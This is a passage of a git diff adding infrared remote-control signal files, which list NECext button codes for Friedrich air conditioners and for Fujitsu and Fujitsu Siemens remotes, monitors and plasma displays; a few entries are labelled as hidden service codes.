00 +# +name: MONEY_SAVER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: FAN_ONLY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: FAN_SPEED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir new file mode 100644 index 000000000..3d784e250 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir new file mode 100644 index 000000000..2fc93b4d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 11 00 00 00 +# +name: SkipNext +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 20 00 00 00 +# +name: SkipLast +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 21 00 00 00 +# +name: SkipEND +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 2C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 2E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 2F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 31 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 37 00 00 00 +# +name: Goto +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 40 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 42 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 5C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 81 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 82 00 00 00 +# +name: KEY_KEYBOARD +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 86 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 87 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: 88 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: DA 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: EF 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: F0 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: F3 00 00 00 +# +name: Scroll+ +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: FE 00 00 00 +# +name: Scroll- +type: parsed +protocol: NECext +address: 20 B0 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir new file mode 100644 index 000000000..4d583b5d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_PROG1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir new file mode 100644 index 000000000..46d71763e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 02 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 03 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 05 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 06 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 08 00 00 00 +# +name: RGB2:_D-SUB15 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 09 00 00 00 +# +name: RGB3:_5_BNC +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0A 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0B 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0C 00 00 00 +# +name: RGB1:_DVI-D +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0E 00 00 00 +# +name: SHIFT_1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: SHIFT_2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: SHIFT_3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 30 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: ADJ_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: ADJ_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 40 00 00 00 +# +name: SHIFT_4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 40 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: ADJ_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: ADJ_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5B 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5B 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 80 00 00 00 +# +name: ASPECT_TOGGLE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 80 00 00 00 +# +name: ASPECT_AUTO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 81 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 82 00 00 00 +# +name: ASPECT_WIDE1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 83 00 00 00 +# +name: ASPECT_WIDE2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 84 00 00 00 +# +name: ASPECT_ZOOM1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 85 00 00 00 +# +name: ASPECT_ZOOM2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 86 00 00 00 +# +name: LOCK_(HIDDEN) +type: parsed +protocol: NECext +address: 84 00 00 00 +command: E0 00 00 00 +# +name: MODE_(HIDDEN) +type: parsed +protocol: NECext +address: 84 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir new file mode 100644 index 000000000..d9af6ce2f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 02 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 08 00 00 00 +# +name: ASPECT_WIDE_(TOG) +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 10 00 00 00 +# +name: ASPECT_AUTO +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 11 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 12 00 00 00 +# +name: ASPECT_WIDE1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 13 00 00 00 +# +name: ASPECT_WIDE2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 14 00 00 00 +# +name: ASPECT_ZOOM1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 15 00 00 00 +# +name: ASPECT_ZOOM2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 16 00 00 00 +# +name: ADJ_LEFT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: ADJ_RIGHT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 22 00 00 00 +# +name: ADJ_UP +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 23 00 00 00 +# +name: ADJ_DOWN +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 24 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 26 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 44 00 00 00 +# +name: PICTURE_MEMORY +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir new file mode 100644 index 000000000..644271bed --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 00 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 40 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 43 00 00 00 +# +name: RGB1:_DVI-D +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 68 00 00 00 +# +name: RGB2:_D-SUB15 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 69 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir new file mode 100644 index 000000000..1ca4bfd7f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 10 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir new file mode 100644 index 000000000..1b21ead46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir @@ -0,0 +1,632 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 01 00 00 00 +# +name: POWER_-_ON +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 02 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 02 00 00 00 +# +name: POWER_-_OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 02 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 03 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 05 00 00 00 +# +name: VIDEO_1_2_3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 05 00 00 00 +# +name: INPUT_-_VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 05 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 05 00 00 00 +# +name: INPUT_1_-_COMPOSITE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 06 00 00 00 +# +name: COMPOSITE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 06 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 06 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 08 00 00 00 +# +name: RGB_1_2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 08 00 00 00 +# +name: INPUT_-_RGB +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 08 00 00 00 +# +name: INPUT_RGB2_-_(D-SUB) +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 09 00 00 00 +# +name: RGB_DSUB +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 09 00 00 00 +# +name: RGB2:_D-SUB15 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 09 00 00 00 +# +name: RGB-BNC +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0A 00 00 00 +# +name: RGB3:_5_BNC +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0A 00 00 00 +# +name: INPUT_2_-_S-VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0B 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0B 00 00 00 +# +name: COMPONET +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0C 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0C 00 00 00 +# +name: HIDDEN_1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: INPUT_RGB1_-_DVI +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0E 00 00 00 +# +name: RGB_DVI +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0E 00 00 00 +# +name: RGB1:_DVI-D +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0E 00 00 00 +# +name: SHIFT_1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 10 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: SHIFT_2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: SHIFT_3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 30 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: ADJ_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: ADJ_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 40 00 00 00 +# +name: SHIFT_4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 40 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: ADJUST_> +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: ADJ_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: ADJUST_< +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: ADJ_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5B 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5B 00 00 00 +# +name: HIDDEN_4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 67 00 00 00 +# +name: HIDDEN_6 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 68 00 00 00 +# +name: HIDDEN_5 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 69 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 80 00 00 00 +# +name: SCRN.MODE-WIDE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 80 00 00 00 +# +name: ASPECT_TOGGLE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 80 00 00 00 +# +name: ASPECT_AUTO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 81 00 00 00 +# +name: SCRN.MODE-NORMAL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 82 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 82 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 82 00 00 00 +# +name: SCRN.MODE-WIDE1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 83 00 00 00 +# +name: SCRN.MODE-WIDE2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 83 00 00 00 +# +name: WIDE_1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 83 00 00 00 +# +name: WIDE_2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 83 00 00 00 +# +name: ASPECT_WIDE1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 83 00 00 00 +# +name: ASPECT_WIDE2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 84 00 00 00 +# +name: SCRN.MODE-ZOOM1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 85 00 00 00 +# +name: ZOOM1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 85 00 00 00 +# +name: ASPECT_ZOOM1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 85 00 00 00 +# +name: SCRN.MODE-ZOOM2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 86 00 00 00 +# +name: ZOOM_2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 86 00 00 00 +# +name: ASPECT_ZOOM2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 86 00 00 00 +# +name: HIDDEN_8 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 8A 00 00 00 +# +name: LOCK_(HIDDEN) +type: parsed +protocol: NECext +address: 84 00 00 00 +command: E0 00 00 00 +# +name: HIDDEN_7 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: E0 00 00 00 +# +name: MODE_(HIDDEN) +type: parsed +protocol: NECext +address: 84 00 00 00 +command: FA 00 00 00 +# +name: HIDDEN_3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir new file mode 100644 index 000000000..8180a3cdb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: HIDDEN_2 +type: parsed +protocol: NECext +address: 84 81 00 00 +command: 00 00 00 00 +# +name: HIDDEN_9 +type: parsed +protocol: NECext +address: 84 81 00 00 +command: 3E 00 00 00 +# +name: HIDDEN_10 +type: parsed +protocol: NECext +address: 84 81 00 00 +command: 3F 00 00 00 +# +name: HIDDEN_11 +type: parsed +protocol: NECext +address: 84 81 00 00 +command: 41 00 00 00 +# +name: HIDDEN_13 +type: parsed +protocol: NECext +address: 84 81 00 00 +command: 42 00 00 00 +# +name: HIDDEN_12 +type: parsed +protocol: NECext +address: 84 81 00 00 +command: 5B 00 00 00 +# +name: HIDDEN_14 +type: parsed +protocol: NECext +address: 84 81 00 00 +command: FA 00 00 00 diff --git 